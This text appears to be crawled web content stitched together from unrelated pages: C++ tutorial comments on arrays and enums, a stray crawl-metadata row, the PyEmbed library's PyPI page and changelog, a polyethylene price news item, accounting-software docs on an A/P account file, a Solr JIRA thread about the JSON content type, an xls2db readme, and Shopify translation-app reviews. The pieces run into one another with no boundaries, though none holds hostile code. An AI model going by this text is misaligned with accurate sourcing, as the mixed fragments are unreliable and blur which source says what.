It’s dangerous to use this length/s unknowingsly in for loops etc. For example calculations like a mean of a dataset need the exact amount of entrys. If the 0 and the length of 5 not 4 get calculated within the mean, the value is not representive for whatever, isn’t it?
Yes, I cover both this trick and its limitations in the “sizeof and arrays” subsection as part of the lesson.
If you do this:
int array[4] { 1, 2, 3, 4 }
there is no 5th element, so sizeof(array)/sizeof(array[0]) will give you the proper length of 4.
It’s a neat trick, but there _are_ better options available (such as std::array) that I discuss later in the chapter.
So, [int temperature[365]{}][/code] would initialize all the elements to 0.
How about [double temperature[365]{}][/code]?? will this initialize all the elements to 0.0.
In solution 1, I’m curious why you initialized 0.0 only to the first elements. Does [double temperature[365]{}][/code] works same for this?
Yeah, it’s the same thing either way.
// even though prime is the actual array, within this function it should be treated as a constant
void passArray(const int prime[5])
{
// so each of these lines will cause a compile error!
prime[0] = 11;
prime[1] = 7;
prime[2] = 5;
prime[3] = 3;
prime[4] = 2;
}
if this will produce an error… what is the right way to make an array constant?
I don’t understand the question. This produces an error because prime is constant, and the function is trying to change the value of the members.
The problem isn’t prime, the problem is the code in the function body.
You’ll get a compiler error. This can be addressed by using a static_cast to convert the enumerator to an integer:
int main()
{
int testScores[static_cast<int>(StudentNames::MAX_STUDENTS)]; // allocate 6 integers
testScores[static_cast<int>(StudentNames::STAN)] = 76;
}
can you explain a little further on this… i dont understand how this works… i am new to c++
What part of this are you not understanding? enum classes won’t implicitly convert their enumerators to a integer, so we have to explicitly do so via static_cast.
int main()
{
int testScores[MAX_STUDENTS]; // allocate 5 integers
testScores[STAN] = 76;
return 0;
}
how will the compiler know where to find max_student since its inside enum studentname and not in main function… shouldnt it be like testScores[studentname.Maxstudent]… i am new to c++
enums are a type, not an object, so you don’t need an object to access the enumerators.
Also, enums put their enumerators into the surrounding scope (e.g. they pollute the scope they’re in). In the above case, the enumerators in StudentNames go into the global namespace, and thus are accessible from within function main().
Dear Admin, i have a question about passing array as an argument to a function. when we call PassArray function by passing array then how it works ? Is the base address passed or the whole Array etc??
When passing an array, it’s actually passing the base address (as a pointer). We talk more about this in future lessons.
I am not using the "namespace Animals" and the code works fine, why? Thanks, Jorge
Enums put all of their enumerators in the global namespace (which causes a lot of namespace pollution). This means you don’t need to use the scope resolution operator (::) to access them. But it also means you will get naming conflicts if you have multiple enums trying to use the same enumerator (e.g. a Color enum and a Mood enum would have a conflict if enumerator Blue appeared in both).
this is example from above:
"StudentNames::STAN"
what is the meaning of "::" after the enum StudentNames?
:: is the scope resolution operator. What comes before the :: identifies the scope, and what comes after the :: identifies the identifier within that scope. So StudentNames::STAN means “Look inside the scope StudentNames for an identifier named STAN”. The scope could be the name of a namespace, enum, class, etc… If no scope is provided, then the global scope will be used (so ::Foo would refer to identifier Foo in the global namespace).
array element 2
Can you elaborate more on this statement? what did you mean when you said array element 2?
I meant testScores[2]. I’ve updated the lesson to be clearer about this.
I could not understand the reason behind the below differences when using enum inside namespace. Why typecasting is not required in the second case?
case 1: Without namespace.
enum class StudentNames
{
KENNY, // 0
KYLE, // 1
STAN, // 2
BUTTERS, // 3
CARTMAN, // 4
WENDY, // 5
MAX_STUDENTS // 6
};
int main()
{
int testScores[static_cast<int>(StudentNames::MAX_STUDENTS)]; // allocate 6 integers
testScores[static_cast<int>(StudentNames::STAN)] = 76;
}
case 2: using namespace.
namespace StudentNames
{
enum StudentNames
{
KENNY, // 0
KYLE, // 1
STAN, // 2
BUTTERS, // 3
CARTMAN, // 4
WENDY, // 5
MAX_STUDENTS // 6
};
}
{
int testScores[StudentNames::MAX_STUDENTS]; // allocate 6 integers
testScores[StudentNames::STAN] = 76;
}
Interesting question, but the wrong question to ask. 🙂 Remember that enums are placed into the same scope that they are declared in, so in the top case, KENNY, KYLE, STAN, etc… are all placed in the global namespace. It’s actually non-standard C++ to access an enum using the scope resolution operator -- Visual Studio lets you, as do some other compilers, but it’s non-standard behavior. So instead of StudentNames::STAN, you should just be using STAN in this case.
In the second case, StudentNames:: is actually resolving to the namespace, with STAN resolving to the enumerator inside of the namespace. This is syntactically valid for all compilers.
y doesn’t this work
/home/nyap/Projects/TicTacToe/main.cpp|43|error: invalid conversion from ‘int*’ to ‘int’ [-fpermissive]|
ah I had to change this
to
Name (required)
Website | http://www.learncpp.com/cpp-tutorial/62-arrays-part-ii/comment-page-2/ | CC-MAIN-2018-05 | refinedweb | 3,167 | 63.39 |
Python OEmbed consumer library with automatic discovery of producers
Project description
PyEmbed
OEmbed consumer library for Python with automatic discovery of producers.
PyEmbed allows you to easily embed content on your website from a wide variety of producers (including Flickr, Twitter and YouTube). Unlike many OEmbed consumers, you don’t need to configure each producer that you want to use - PyEmbed discovers the configuration automatically.
You just need to provide the URL, and PyEmbed will generate a block of HTML, ready for you to include in your page:
>>> from pyembed.core import PyEmbed >>> html = PyEmbed().embed('') <iframe width="480" height="270" src="" frameborder="0" allowfullscreen></iframe>
There are plugins for embedding content into Markdown and reStructuredText documents, and for customizing embeddings with Jinja2 and Mustache templates. For more information, see the PyEmbed website.
Compatibility
PyEmbed has been tested with Python 2.7 and 3.3.
Installation
PyEmbed can be installed using pip:
pip install pyembed
Contributing
To report an issue, request an enhancement, or contribute a patch, go to the PyEmbed GitHub page.
License
PyEmbed is distributed under the MIT license.
Copyright (c) 2013 Matt Th.
Changes
v1.2.2, 2015-08-15
Bug fixes:
#51: Fix other Beautiful Soup warning
v1.2.1, 2015-08-15
Bug fixes:
#50: Specify Beautiful Soup parser
v1.2.0, 2015-08-12
Enhancements:
#48: Use official list of providers
v1.1.2, 2015-01-03
Enhancements:
#44: Allow overriding of default templates by subclassing.
v1.1.1, 2014-09-02
Bug fixes:
#42: Error embedding from SoundCloud.
v1.1.0, 2014-08-02
Enhancements:
#40: Add support for providers that do not have discovery enabled.
v1.0.0, 2014-02-05
Initial stable release
v0.7.0, 2014-01-20
Breaking changes:
The pyembed.core.consumer.embed method has been removed. Instead, call embed on the pyembed.core.PyEmbed class.
v0.6.1, 2014-01-11
Bug fixes:
#36: Failure to handle relative OEmbed URLs
v0.6.0, 2014-01-01
Breaking changes:
The option to provide Mustache templates for rendering has been removed. It will be restored in a new pyembed-mustache module.
Enhancements:
#33: Make rendering engines pluggable
v0.5.0, 2014-01-01
Breaking changes:
The rembed package has been renamed to pyembed.
Enhancements:
#30: Rename to PyEmbed
v0.4.3, 2013-12-29
Rebuilt due to error in deployment process. No functional changes.
v0.4.2, 2013-12-29
Rebuilt due to error in deployment process. No functional changes.
v0.4.1, 2013-12-29
Rebuilt due to error in deployment process. No functional changes.
v0.4.0, 2013-12-29
Enhancements:
#5: More control over embedding format
v0.3.0, 2013-08-03
Breaking changes:
The rembed package has been renamed to rembed.core.
Enhancements:
#19: Make rembed into a namespace package
v0.2.2, 2013-08-03
Enhancements:
#20: Add code coverage to build
#21: Add static analysis to build
v0.2.1, 2013-08-02
Bug fixes:
#17: Classifiers not shown in PyPI
v0.2.0, 2013-07-30
Enhancements:
#3: Support Python 3
#4: Add maxheight and maxwidth parameters
#10: Improve PyPI package entry
Bug fixes:
#9: Tidy up requirements duplication
v0.1.1, 2013-07-29
Bug fixes:
#6: Package fails to install
v0.1.0, 2013-07-29
Initial release
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages. | https://pypi.org/project/pyembed/1.2.2/ | CC-MAIN-2022-40 | refinedweb | 577 | 60.21 |
I am using a form_remote_tag to create a new object in my web page.
When the save is successful, then it displays the list and added current
object in a partial.
I have two questions:
When the save fails, i want it to just revert back to the original
list, and close the form that allows users to add new objects.
I would like my Cancel button on creating this new object to work,
presently I can close the form, but then I get a MIssing Template
message in the screen, or with some hacking, the objects list duplicates
itself in the render.
:- so on this 2nd point, I want to know how to escapoe the render and
revert back to the main list, on when first entering the page. I have
tried :render and :redirect_to but this just duplicates the list again
in the same page.
MY CONTROLLER:
create a new product
def create
@products = Product.find(:all)
@product = Product.new(params[:product])
if @product.save
render :partial => ‘product’
else
redirect_to :action => ‘list’, :id => @product
end
end
MY VIEW:
Products
<% @products.each do |p| %>
- <%= link_to p.title, :action => 'show_versions', :id => p.id %> <%= "(#{p.versions.count})" -%><%= link_to 'Edit', {:action => 'edit', :id => p.id} %> <%= link_to "Delete", {:action => 'delete', :id => p.id}, :confirm => "Are you sure you want to delete this product?" %> <% end %>
<%= link_to_function("Add a new Product", 'Element.show(add_product)')%>
Name: <%= text_field "product", "title" %>
Description: <%= text_area "product", "description", :size => "30x10" %><%= submit_tag 'Add', :onclick=> 'Element.hide(add_product)' %> <%= button_to 'Cancel', :onclick=> 'Element.hide(add_product)' %>
Even some suggestions would be great, because googling this issue,
doesnt really churn up much. | https://www.ruby-forum.com/t/render-partial-and-cancel-button-issues/162089 | CC-MAIN-2021-25 | refinedweb | 266 | 66.84 |
Hello,
I am having trouble with a arcpy script. I'm actuall not that familiar with python in general, and the current issue is really making me sick.
On a new environment, I installed a new Database and I want to setup there the same maintenance task as we already have on another environment. Part of this maintenance is a python script for compress, etc. But on the new environment the scripts aren't working. It always runs into error "TypeError: Could not open SDE workspace"
So I made some tests on the current environment and found some very strange behaviour.
I have the following script (reduced to only few lines)
test.py
conn = 'C:\SDE\da.sde'
import arcpy
arcpy.AcceptConnections(conn, True)
the file da.sde exists.
But when I rename the file to test.sde, and change it of course in the pythin script, it throws:
C:\SDE>test.py
Traceback (most recent call last):
File "C:\SDE\test.py", line 5, in <module>
arcpy.AcceptConnections(conn, True)
File "C:\Program Files (x86)\ArcGIS\Desktop10.4\ArcPy\arcpy\__init__.py", line
1677, in AcceptConnections
return gp.acceptConnections(sde_workspace, accept_connections)
File "C:\Program Files (x86)\ArcGIS\Desktop10.4\ArcPy\arcpy\geoprocessing\_bas
e.py", line 479, in acceptConnections
return self._gp.AcceptConnections(sde_workspace, accept_connections)
TypeError: Could not open SDE workspace.
(This is also the actual error I always get on the other environment.)
Switching both back to da.sde, works again.
I've testes several different filenames.
"da.sde" - works!
"test.sde" - fail
"datest.sde" - works
"abcde.sde" - fail
"wtf.sde" - works
"lmgtfy.sde" - works
"prod_sde.sde" - works
"b_prod_sde.sde" - fails
I am not sure that the nameing is related to the issue on the other environment. But I got a little desperate with it, so that I hope unterstanding the nameing issue, may help me to make the script run elsewhere.
Lionel
Some failures
start by raw encoding your file paths
Now raw encode them
You can use double backslashes or forward slashes if you don't want to use the little 'r' | https://community.esri.com/thread/221642-arcpy-could-not-open-sde-workspace-sde-filename-dependency | CC-MAIN-2018-43 | refinedweb | 346 | 53.68 |
Automatic Notificationkumarab May 12, 2017 2:15 AM
Dears,
I want to send three notification after resolution like 1 to Team Lead, 2nd with resolution remark to user and 3rd with survey detail ...
Now my problem is i want to send this in order any put some delay in notification like one next another.
1. Re: Automatic Notificationandreas.lindner May 12, 2017 8:49 AM (in response to kumarab)
Hi,
that is absolutely possible. Did you notice, that if you add the automatic action "Add Reminder" you always have to define the "Send Date"? That is your advantage. Usually there is the simple calculation that returns the Value = DateTime.UtcNow. But that can be amended. For example:
import System static def GetAttributeValue(Reminder): CurrentTime = DateTime.UtcNow Value = CurrentTime.AddMinutes(30) return Value
That will allow you to set the send date to 30 minutes into the future. The mail engine will consider the send date before sending, so you will be able to use three subsequent "Add Reminder" actions and every one of the actions will have a different send date. Just set a different value for the AddMinutes method in the different "Add Reminder" actions.
Regards
Andreas | https://community.ivanti.com/thread/35714 | CC-MAIN-2018-30 | refinedweb | 198 | 56.66 |
Of
all the accounts in your General Ledger, only some will be affected by A/P.
They are:
One or more cash accounts
One or more A/P accounts
A discount taken account (this is a
revenue)
Several expense accounts possibly
including miscellaneous charges expense, sales tax expense, and freight charges
expense.
If
you are using the General Ledger package and the Accounts Payable
package, you may control where the Accounts Payable package will find
the appropriate account in A/P Setup. If you choose to have the
accounts verified from Accounts Payable then the A/P Account File
stores the numbers of all the accounts that will be directly affected by Accounts
Payable. A description for each account is also stored. When an account
number is entered from within the Accounts Payable package, it is
checked against this file. If the account number is not found, the entry is
invalid, and the operator must enter a different number. If the account number
is found, the description is displayed on the screen so he can see if this is
the intended account. This greatly reduces the number of operator entry errors
that occur on account numbers.
The
format of the account number is variable. It can be a single number of from
one to eight characters, or it can be a triple number with a hyphen, each
number having from one to eight characters. See the System Manager
manual for a full description of how to set up your account number format.
The
Import application will allow a range of accounts from the General
Ledger Chart Of Accounts File to be imported into the Accounts Payable
Account File. This selection appears only if the Elliott General
Ledger package is installed.
Select A/P Account File from the pull
down A/P Maintenance window. The following screen will then be
displayed:
A/P Account File Maintenance Entry Screen
The following options are available:
* Select the desired mode
from the A/P Account File. Account No
An account number in the
standard account number format.
Enter the account number from G/L.
In the change, inquire or
delete modes, pressing the F7 key will allow you to search for the
main account by number or pressing the F8 key will allow you to search
for the account by description.
2. Description
30 alphanumeric characters.
Enter a description of the
account number, which will make it clear to the operator at a glance whether
or not he has entered the correct number.
Starting Account No
Enter the beginning of the
range of accounts that you want to list, or press the RETURN key to
list All accounts.
Ending Account No
Enter the end of the range of accounts that you want to
list.
This field defaults to the
starting account number to facilitate listing a single account number.
1. Starting Account No
This question and the next one (Ending Account No)
allow you to specify a range of accounts to be imported from the G/L
Account File. If you press RETURN for the entry of the Starting
Account No, the field will default to All accounts, and the entry of
the Ending Account No will be skipped.
NOTE: If
you have to change a description of an account in G/L and try to
import it into A/P, the description will not import. You must first
delete the account in A/P, then import.
2. Ending Account No
If you press RETURN
for the entry of the Ending Account No, the field will default to the same
value as entered for the Starting Account No.
Screens
A/P Account File Maintenance
(Account Search By Number)
A/P Account File Maintenance
A/P Account File List
Import G/L Accounts Into A/P Account File
Elliott Business Software | Add-ons
| Services
3rd Party Solutions | News
& Events
Technical Support | Company
Profile | http://www.elliott.com/help/default.aspx?ver=80&page=AP1701 | CC-MAIN-2021-31 | refinedweb | 648 | 58.62 |
Details
Description).
Activity
Marking for 1.5
I'm -0 on this. I'm not sure if this inconvenience is big enough to warrant adding a request parameter. I'll let others decide this one.
Indeed this is just for convenience and should not be in a high priority, but I definitely see it as a nice to have one. Just to clarify, the suggestion is not to have another request parameter (that would probably be too much as you mentioned) but instead add a configuration parameter in solrconfig. So you'll be able to define the json response writer as follows:
<queryResponseWriter name="json" class="org.apache.solr.request.JSONResponseWriter"> <bool name="useJsonContentType">true</bool> </queryResponseWriter>
Is there perhaps a more general feature we could turn this into? An expert level ability or parameter to set a custom content-type?
I think that would be the best option. The problem right now is in the current class hierarchy of the response writers. Basically, I think the QueryResponseWriter interface should change to:
public interface QueryResponseWriter extends NamedListInitializedPlugin { public void write(OutputStream out, SolrQueryRequest request, SolrQueryResponse response) throws IOException; public String getContentType(SolrQueryRequest request, SolrQueryResponse response); }
Note: this interface will play nicer with the binary response writer
Then we can have an AbstractTextResponseWriter which will serve as a parent for all non-binary response writers:
public abstract class AbstractTextResponseWriter extends NamedListInitializedPlugin { public final static String CONTENT_TYPE_PARAM = "contentType"; public static String DEFAULT_CONTENT_TYPE="text/plain; charset=UTF-8"; private final String contentType; protected AbstractTextResponseWriter() { this(DEFAULT_CONTENT_TYPE); } protected AbstractTextResponseWriter(String defaultContentType) { this.contentType = defaultContentType; } public void init(NamedList args) { String configuredContentType = (String) args.get(CONTENT_TYPE_PARAM); if (configuredContentType != null) { contentType = configuredContentType;; } } public String getContentType(SolrQueryRequest request, SolrQueryResponse response) { return contentType; } public final void write(OutputStream out, SolrQueryRequest request, SolrQueryResponse response) throws IOException { OutputStreamWriter writer = new OutputStreamWriter(out, "UTF-8"); write(writer, request, response); } protected abstract void write(Writer writer, SolrQueryRequest request, SolrQueryResponse response) throws IOException; }
This will make it easy for every response writer to define its default content type, yet it will still allow to override this default using the "contentType" parameter in solrconfig. (I assume here that there's no need to customize the content type for the binary response writer as it's internal and specific for the current implementation).
Or we could just add a request parameter and SolrDispatchFilter can set the value of the param as the content type.
Yeah, that's also an option. The only drawbacks like we mentioned above is that you'll need to add yet another request parameter. And I also thought it was a good opportunity to "fix"/"clean" the class hierarchy of the response writer. But indeed this is a quicker fix to the problem.
I think the main issue with the inheritance right now is that the QueryResponseWriter interface is dealing with a Writer rather than with an OutputStream. This accounts for the hacky GenericBinaryResponseWriter.
Looking at
SOLR-1516 I.
I think the main issue with the inheritance right now is that the QueryResponseWriter interface is dealing with a Writer rather than with an OutputStream. This accounts for the hacky GenericBinaryResponseWriter.
I'm taking a look at this.
Looking at
SOLR-1516I.
Well if that's the main idea behind ResponseWriters as you put it, then as I put it in
SOLR-1516, it's pretty confusing. Users (who understand Lucene and SOLR) know that if they query they get back o.a.lucene.Documents or o.a.solr.SolrDocumentList, etc. The whole NamedList structure is pretty confusing to me (and to others as I've noted on other issues and on the mailing list). SOLR-1516 was an attempt to give those people writing ResponseWriters (now) the ability to deal with results of queries, aka Documents (and not all the other NamedList typeless bag of objects where you have to do instanceof everwhere to unmarshall it). Clearly not all ResponseWriters will be able to take advantage of this (e.g., those that need the specified output structures provided by other components, e.g., Facets, etc.), which is why my original patch called the two response writers I added Document*ResponseWriter b/c that's what they dealt with.
Cheers,
Chris
I always had the impression that the main idea behind the response writers is that all they need to know is how to marshal a NamedList ...
That is the problem. the NamedList is a weird datastructure for those who are not so used to Solr. You don't know what is included in that unless you do an instanceof. Most of the users are happy to write out the documents . understanding a SolrDocument is far easier than figuring outhow to handle a DocList .So it is an attempt to cater to those needs .
If you know how to handle the NamedList beast then you can do that also ( but only if you wish to).
It should be possible to pass an arbitrary set of parameters to a ResponseWriter. I added this feature to XSLTResponseWriter in a patch; it made it possible to genericize XSL scripts.
Since 'tr' chooses the XSLT script, I made 'tr.param=x' pass 'param=x' into the XSL interpreter. 'tr.mime-type=application/json' would be used by the JSON interpreter.
I did not have to change anything outside of XSLTResponseWriter.
Thinking about it again, 'wt' selects the writer, so parameters to the JSON writer should be 'wt.param=value'. 'tr' is the transformer script, and 'tr.param=value' should pass data through to the transformer code. So, to handle this problem I would use 'wt=json&wt.mime-type=application/json'. propose treating this as two issues:
A short-term bug fix to properly return JSON data with the standard application/json ContentType
A low-priority feature request to allow customizing the JSON writer to return non-standard ContentType
I'd like to +1 the short-term fix. The incorrect content type makes it difficult to filter/transform the response in a servlet filter or Jetty handler: one has to inspect the wt parameter on the request to establish (guess?) that JSON has been requested and is being sent back.
+1 for the short term fix
Bulk move 3.2 -> 3.3
Can we revive this issue?
Does anyone have a patch for the short-term fix?
3.4 -> 3.5
I agree with Neil, can someone post about a solution. I tried some of the options listed here and none seem to be active.
Thanks,
Ralph
I had assumed this had been dealt with. It seems we should just break backwards compat on trunk and change the JSONResponseWriter to return application/json. Why continue to return text?.
Okay, what about today when there are plenty of extensions for the major browsers to correctly display JSON? Do we really need to support users do a manual Solr request through their browser and returning JSON? If they want that, they can use a text protocol like XML.
+1
Okay, what about today when there are plenty of extensions for the major browsers to correctly display JSON?
Requiring the user to install an extension to display a response isn't that friendly either.
We should think about the number of users who would be inconvenienced (and in what manner) using one default vs the other.
The most flexible approach would allow the user to set the content-type, but the default should remain what gives the best user experience.
Is there really such a large use case for users who don't have a JSON plugin installed but do need to view JSON results in the browser? An XML response will almost certainly be rendered more readably for those users (in which case the JSON point is moot), and if the user does intend to view JSON frequently they simply install a JSON plugin: reading JSON as a big lump of text without the aid of a plugin is not a manageable solution for most people I know. Intentionally returning a known-wrong content type to work around a client issue for casual users while causing a much bigger problem (thwarting well-behaved clients, JSON plugins, and filters) for users who actually need to work with this seems like a poor choice. I'd argue the default should be changed to application/json immediately, and a separate (lower-priority) ticket raised to address allowing the user to override the content-type in the response if they so desire.
I agree with Chris wholeheartedly.
It doesn't seem to be user-friendly to return a content-type that isn't inline with the RFC standard and I can't help but feel that the number of users who will be negatively impacted by this change will be small. Those users can then either use XML or some other text format, or install a JSON plugin for their browser.
There's a reason this keeps coming up in discussion.
Chris, can you put together a patch which changes the content-type?
Is there really such a large use case for users who don't have a JSON plugin installed but do need to view JSON results in the browser?
JSON has been all the rage for the past number of years - tons of people have been programmed to say "yuck XML, yay JSON, YAML, etc".
In my experience, very few people have JSON plugins installed, and the out-of-the-box experience will be horrible for those people (JSON is even used in our beginner tutorial)..
+1 to change the content type to the official one. I was about to do this together with another ResponseWriter change once ago... the wrong type is a problem for all users actually using browsers with plugins. If Solr would send xml without application/xml I would complain, too, as e.g. Internet Explorer has the best xml viewer on earth (sorry, FF and Chrome have broken namespace prefix support).
The downside for the small minority of users likely to have a browser JSON plugin installed is that they will still see a text JSON response. This is a much more graceful fallback, and we can add an optional parameter to change the content-type. It seems pretty clear to me that the default content-type should remain as is for the best user experience for the majority of new users. I originally coded the content-type as something with x-json in it (Solr's JSON support pre-dates the RFC), but sending a query to solr and being prompted to download the reply or search the internet for a plugin is horrible and will definitely turn people off.
And don't get me started on the overreaching JSON RFC wrt specifying encodings.)
Sounds awesome.
Patch which implements what Hossman has suggested. I've verified that the content-type changes based on the configured parameter.
+1
As there doesn't seem to be any objections, I plan to commit this shortly.
Since this is literally the Content-Type header, should we use a parameter name like "content-type" or "Content-Type" rather than content.type? Or are there other content.foo params that would make scoping them all under "content." make more sense?
+ If you are building applications that consume JSON, just remove + this override to get the default "application/json" mime type.
This part makes it sound like you need to remove it... but most programmatic clients won't care (or will actually work better with text since the charset is defined). Let's change that part to something like:
If your browser or application expects a MIME type of "application/json", just remove this override.
Since this is literally the Content-Type header, should we use a parameter name like "content-type" or "Content-Type" rather than content.type? Or are there other content.foo params that would make scoping them all under "content." make more sense?
Yup 'content-type' makes the most sense.
This part makes it sound like you need to remove it... but most programmatic clients won't care (or will actually work better with text since the charset is defined).
The reason this issue keeps getting brought up is that clients do care. But I will make the change you suggest since it does make it clearer.
New patch changing the parameter name and improving the documentation.
Hey Hoss,
I haven't had a chance to commit it to trunk yet either (it fell between the cracks), I'll commit it to both today.
+1 I will roll a release candidate on monday.... I didn't finish it this week
Committed to trunk in revision 1204327.
Committed to 3x in revision 1204329.
Fixed.
FWIW: we should probably add Uri to changes as well, as he filed the issue.
Good call Mark, done in both trunk and 3x.
Bulk close after 3.5 is released
This patch is a simple implementation for this functionality. The writer can be configured with a userJsonContentType boolean parameter that when set to true the content type for the output will be "application/json" instead of "text/plain". For backward compatibility reasons, when this parameter is absent, the "text/plain" content type will be used. | https://issues.apache.org/jira/browse/SOLR-1123?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel | CC-MAIN-2014-15 | refinedweb | 2,202 | 54.73 |
30 July 2010 20:10 [Source: ICIS news]
HOUSTON (ICIS)--At least two major producers nominated 5 cent/lb ($110/tonne, €84/tonne) September price hikes covering all grades of polyethylene (PE) amid firming demand and an uptick in feedstock spot prices, market sources said on Friday.
The move took some buyers by surprise, and there was no reason given in either of the two price hike letters sent to customers.
US PE contract prices for July dropped by 2 cents/lb, with the exception of a rollover in low-density PE (LDPE) prices, according to most market participants. Domestic PE prices have been falling since May.
The September PE increase announcements were seen as an indication that producers would seek to hold prices steady in August, according to participants.
Dow Chemical previously announced a 1 August price increase for LDPE and certain grades of linear low density PE (LLDPE).
No other producers followed Dow’s August announcement, but the September nominations could be a move to support the Dow increase proposal, sources said.
PE export prices were likely to increase, especially for LDPE, but traders did not yet have a good grasp of August price levels.
“I think [producers] are seeing firmness and trying to figure out if they can get away with raising prices,” according to an export buyer.
A PE producer said August-October is a time of peak domestic demand, and buyers were asking to buy up to double their normal volumes in anticipation of higher prices going forward.
Feedstock ethylene prices also showed signs of strength this week.
Spot ethylene for August delivery traded at 32.25 cents/lb on the Williams system early in the week, just 0.25 cents below some deals in the previous week. But the price for August jumped to 35.00 cents/lb on Thursday.
Sources said uncertainty about the duration of a Dow cracker outage in ?xml:namespace>
With July decreases pending, ICIS assessed US high density PE (HDPE) blow moulding domestic prices at 59-61 cents/lb
Major US PE producers include Dow Chemical,
( | http://www.icis.com/Articles/2010/07/30/9381064/us-pe-price-hikes-loom-for-september-as-demand-firms.html | CC-MAIN-2014-42 | refinedweb | 347 | 61.36 |
Convert excel files following a particular schema into sqlite database files.
Project description
xls2db is a python program that takes an excel spreadsheet following a certain schema into an sqlite database that can be opened using python’s sqlite3 module. It can also be used as a module.
Why??
Because fuck you, that’s why.
But seriously: I was getting sick of doing data entry for this toy project of mine using cursor.execute()’s, so I figured I’d try entering the data into an excel spreadsheet, converting it into the db, and then manipulating it from there. Crazy, I know.
Usage:
As a script:
xls2db infile.xls outfile.db
As a module:
from xls2db import xls2db xls2db("infile.xls", "outfile.db")
For more, visit <> .
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages. | https://pypi.org/project/xls2db/0.0.3/ | CC-MAIN-2022-33 | refinedweb | 155 | 67.76 |
solve equation with double sum
asked 2015-04-08 07:59:34 -0500
This post is a wiki. Anyone with karma >750 is welcome to improve it.
Hi!
Please help me with my porblem. I have two no-linear equations:
1) f(x)==h(x)
2) g(x)+S_{i,j,k}(x) == 0
I know I can solve (numerically) eq.(1) doing:
x=var('x') find_root(f(x)==h(x),x,x_min,x_max)
In eq.(2) S_{i,j,k}(x) is a triple sum function of 'x' and i,j and k are the index of the sum.
How can I solve (numerically) eq.(2)?
Waiting for your answers. Thanks a lot! Best regards
Update:
If I run the next code:
import sympy.mpmath N=20 A=0.7 G_0 = 37.7 B = 0.36 x = sympy.symbols('x') def S(x_): return sympy.mpmath.nsum(lambda i, j, k: (12*A**4*x_**6*i**4-30*A**2*x_**3*i**2*(j**2+k**2)+3*(j**2+k**2)**2)/(2*(A**2*x_**3*i**2+j**2+k**2)**(7/2)),[1,N],[1,N],[1,N]) def F(x_): return G_0 * (x_ - 1/(x_**2)) print(sympy.mpmath.findroot(F(x) + B*A*sqrt(x)*S(x), [0.85,1]) )
I get the next error:
TypeError: unsupported operand parent(s) for '*': 'Symbolic Ring' and '<class 'sympy.mpmath.ctx_mp_python.mpf'>'
What am I doing wrong?
Best regards!
Can you post more details on the sum? We will need more details to be able to give much help.
I edit my post. Waiting for your answer. Thanks! | https://ask.sagemath.org/question/26465/solve-equation-with-double-sum/ | CC-MAIN-2019-18 | refinedweb | 274 | 80.88 |
langifyby Johannes Hodde
Translate your shop into multiple languages
All reviews
brunotti-eshop
Very very slow response. Servers are very slow in responding. We are stuck in going live and the support team is not helping the way they should be knowing the criticality of the issue. I hope this comment will make them look into the matter and respond to us. We are loosing time by every passing minute.
puchang wine
Very very slow app and difficult to navigate. The translations are really inaccurate, this is so time consuming!!!!!
Tiralento
Langify v2 Cons, found with my experience:
- unable to manage pages from page builder, other than pagefly
- impossible to translate the contents of the site (cart, account, etc.)
- does not recognize all metafields
- very complex and not very functional installation, always required technical support
- language change menu stops working with each language change
- performance dropped from 60 points to 49 points using this app (very little optimization)
Developer reply
Thank you fo your feedback and I'd like to use this reply to clarify some things!
1. It's simply not true that we do not support other page builders than pagefly. langify is using the native shopify translation API and almost all page builders are storing the generated HTML in separated theme templates instead of storing it in the regular shopify page description (which would make it easy to translate those in the regular way). That makes it hard to translate those pages and we are the only app that is using the native shopify translation API that supports translating such static templates. In short: langify allows you to translate all static strings generated by a page builder app of your choice in the "Static" section.
2. This is completely wrong! Again: langify is using the shopify translation API and therefore ALL internationalized theme strings, including the cart and account, can be translated in our "Theme" translation section.
3. That is true but we restricted the access to some metafield namespaces such as "global". We did that because lot's of apps and shopify itself uses such namespaces for internal codes that simply are not translatable. Just drop us a mail and we will whitelist your metafields. Due to that issue shopify now added public and private metafields but this needs to be adapted by all apps over time.
4. Not sure what you mean by complex as we have a very clear structure of translation sections such as "Products", "Collections", "Pages", etc. Always required technical support? I don't remember you getting in touch with us at all in regards to "technical issues" - if someone needs help we're ready to assist but it's definitely not like "everyone needs technical support"
5. langify comes with it's own switcher that works perfectly fine. langify also supports third party theme switchers. In some cases some themes need manual adjustments to work with langify but this is something that we can do for you.
6. Might repeat myself but langify is using the native shopify translation API and we do not inject much code. shopify is adding the translations on the server-side so the performance should be almost the same. And again: get in touch with us and we'll take care!
P.S.: Noticed that you reviewed other translation apps with almost the same text. What's your intention?
vinolog24.com
After deleted the app, the languages selectors remains on my website pages and the previous app doesn't work anymore, really bad!
Developer reply
Johannes from langify here :) Thank you for your review! The problem could have been solved by un-publishing the switcher before uninstalling the app. We can of course remove the switcher for you! Simply get in touch with us via support@langify-app.com and we'll take care of this immediately!
Drypak
Overall app works okay, however really hard to set text size and font easily. Two pieces of text in same font size in langify are still displayed differently on the actual website... Lots of effort to always check this, already lost sales due to this.
Developer reply
Johannes from langify here :) Thank you for your honest review! Sorry to hear that you're having issues with the formatting. We're constantly improving the app based on our customer's feedback and will improve the rich text editor to better support the formatting! Feel free to get in touch with us via support@langify-app.com so that we can further discuss this.
Mag.
Paintsomeway
It can't be open , continue refreshing .
I don't know why it has a high score
I decide to delete it .
thetrendluxe
I removed the app from the store but still charge me $17.50 a month, I have no place to cancel, should I just close the store?
Here's an expletive...
Developer reply
Hi,
Johannes from langify here :)
shopify is handling all charges for langify. I guess you have been in the next billing cycle already and therefore shopify charged you.
Please get in touch with us via support@langify-app.com and we'll take care of this as soon as possible.
Closing your shopify store is not required.
Best,
Johannes
RUE DES TABLEAUX
j'installe application !!! bug de partout le pire j'ai acheté des mots et ca ne traduit rien !!! je click sur theme bug je click autre bug bug..service client pas en ligne.....je demande le remboursement immédiat !!!!
Developer reply
Thank your for your review and sorry for the inconvenience!
Please get in touch with us via support@langify-app.com so that we can assist with this and talk about a possible refund for the auto-translation-words.
FibraMask
Absolutely unusable. Website beyond slow. Literally waiting MINUTES for things to load. Don't be fooled by the amount of reviews — most recent ones are extremely negative. DO NOT WASTE YOUR TIME! | https://apps.shopify.com/langify/reviews?rating=1 | CC-MAIN-2021-31 | refinedweb | 986 | 65.62 |
